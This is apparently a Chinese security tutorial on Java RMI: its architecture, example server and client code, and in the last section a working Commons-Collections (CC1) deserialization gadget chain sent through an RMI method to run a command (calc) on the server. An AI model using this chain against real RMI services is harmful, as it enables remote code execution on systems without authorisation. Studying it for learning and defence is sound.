概念

RMI机制即Java远程方法调用(Java Remote Method Invocation),在Java语言中,一种用于实现远程过程调用的应用程序编程接口。它使得客户端上运行的程序可以远程调用远程服务器上的对象。远程方法调用特性使Java编程人员能够在网络环境中分布操作。

RMI机制架构共分为三部分:

  1. Client客户端
  2. Server服务端
  3. Registry注册表(类似网关)

RMI通信模型

下图为RMI通信流程图:

其中Client客户端包括三个部分:

  1. Stub(存根/桩):远程对象在客户端上的代理
  2. Reference Layer(引用层):解析并执行远程引用协议
  3. Transport Layer(传送层):发送调用、传递远程方法参数,接收远程方法执行结果

Server服务端也包括三个部分:

  1. Skeleton(骨架):读取客户端传递的方法参数,调用实际对象方法并在执行后返回执行结果
  2. Reference Layer(引用层):处理远程引用后向Skeleton发送远程方法调用
  3. Transport Layer(传送层):监听端口并转发调用请求至引用层

RMI通信过程如上图,大概分为如下几个步骤:

  1. Client客户端首先向Registry发送请求,通过服务名查找对应服务,Registry返回Stub远程代理对象
  2. Client想要通过Stub远程代理对象调用其方法
  3. 将Stub方法交给Reference Layer引用层创建RemoteCall远程调用对象
  4. Transport Layer传输层序列化RemoteCall远程调用对象并序列化发送给Server的传输层
  5. Server服务端传输层接收RemoteCall远程调用对象,经过反序列化和引用层处理后交给Skeleton骨架进行处理
  6. Skeleton骨架通过Client客户端传递的方法参数,调用实际对象方法并执行返回结果
  7. 执行结果经过引用层序列化后通过传输层传回

代码实现

定义远程接口

package com.rmi;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface HelloInterface extends Remote {
    String Hello(String name) throws RemoteException;
    Object Hi(Object object) throws RemoteException;
}

定义一个接口HelloInterface,其中方法抛出RemoteException异常,需要注意的是具备远程调用的接口需要继承Remote接口,该接口是一个空接口,只作为RMI标识接口!

实现远程接口类

package com.rmi;

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class HelloImp extends UnicastRemoteObject implements HelloInterface {

    public HelloImp() throws RemoteException {
        super();
    }

    @Override
    public String Hello(String name) throws RemoteException {
        return "Hello " + name;
    }

    @Override
    public Object Hi(Object object) throws RemoteException {
        return object;
    }
}

定义HelloInterface实现类HelloImp,该类需要继承UnicastRemoteObject 类(该类提供了很多支持RMI的方法,这些方法用于生成Stub对象以及生成Skeleton),之后写入构造函数以及接口类即可。

实现Server服务端

package com.rmi;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RmiServer {
    public static void main(String[] args) {
        try {
            HelloImp helloImp = new HelloImp();
            Registry registry = LocateRegistry.createRegistry(2333);
//            registry.bind("hello", helloImp);
            Naming.bind("rmi://localhost:2333/hello", helloImp);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}


Server服务端这块,首先需要创建远程调用方法(也叫服务),之后注册一个端口,并通过上述两种方法其中一种将远程调用方法(服务)与注册表中的Naming绑定在一起。

实现Cilent客户端

package com.rmi;

import java.rmi.Naming;

public class RmiClient {
    public static void main(String[] args) throws Exception {
        try {
            HelloInterface lookup = (HelloInterface) Naming.lookup("rmi://localhost:2333/hello");
            System.out.println(lookup.Hello("ggbond"));
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

客户端这边首先通过Naming.lookup请求Stub对象,之后便可以直接调用远程接口方法了

我们现在首先运行Server服务端,之后运行Cilent端,执行结果如下:

利用RMI进行反序列化攻击

才开始的RMI通信中说到,在进行对象传输时会进行序列化和反序列化的操作,那么如果服务端中有下边这样一个类

package com.rmi;

import java.io.Serializable;
import java.util.Date;

public class User implements Serializable {
    private void writeObject(java.io.ObjectOutputStream stream) throws Exception {
        stream.defaultWriteObject();
        Thread.sleep(1000);
        System.out.println(new Date() + "成功进行了序列化!");
    }

    private void readObject(java.io.ObjectInputStream stream) throws Exception {
        stream.defaultReadObject();
        Thread.sleep(1000);
        System.out.println(new Date() + "成功进行了反序列化!");
    }
}

那么当我们通过RMI通信将上方的User类进行传输时,无论是在Server端还是在Client端都会进行序列化和反序列化操作,我们修改Client端代码如下:

package com.rmi;

import java.rmi.Naming;

public class RmiClient {
    public static void main(String[] args) throws Exception {
        try {
            HelloInterface lookup = (HelloInterface) Naming.lookup("rmi://localhost:2333/hello");
            System.out.println(lookup.Hello("ggbond"));
            lookup.Hi(new User());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

对比之前的代码只加了1句话lookup.Hi(new User());,通过Hi接口方法进行传输User对象

然后我们依次运行Server服务端和Client客户端代码,结果如下:

这里我故意通过Thread.sleep(1000)做了1秒的延时,可以更加直观具体的查看两端序列化的先后顺序

  1. Cilent客户端先将User对象进行序列化并传输给Server服务端
  2. Server服务端将传输过来的数据进行反序列化获取User对象
  3. 调用对象方法后再将数据(其中包括User对象)进行序列化并返回
  4. Client接收数据后再进行反序列化获取

既然再这个过程中可以进行了反序列化操作,我们就可以利用RMI进行反序列化攻击,如果服务端引入了commons-collections-3.1,我们就可以通过修改Client端的代码(将cc1攻击链写入即可)进行攻击,修改如下:

package com.rmi;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Naming;
import java.util.HashMap;
import java.util.Map;

public class RmiClient {
    public static void main(String[] args) throws Exception {
        try {
            ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
                    new ConstantTransformer(Runtime.class),
                    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
            });
            Map decorate = LazyMap.decorate(new HashMap(), chainedTransformer);
            Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
            declaredConstructor.setAccessible(true);
            InvocationHandler invocationHandler = (InvocationHandler) declaredConstructor.newInstance(Override.class, decorate);
            Map map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, invocationHandler);
            Object o = declaredConstructor.newInstance(Override.class, map);

            HelloInterface lookup = (HelloInterface) Naming.lookup("rmi://localhost:2333/hello");
            System.out.println(lookup.Hello("ggbond"));
            lookup.Hi(o);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

运行Client端代码,成功实现攻击!

参考文章

JAVA安全基础(四)-- RMI机制

Java RMI原理及反序列化学习

RMI原理浅析以及调用流程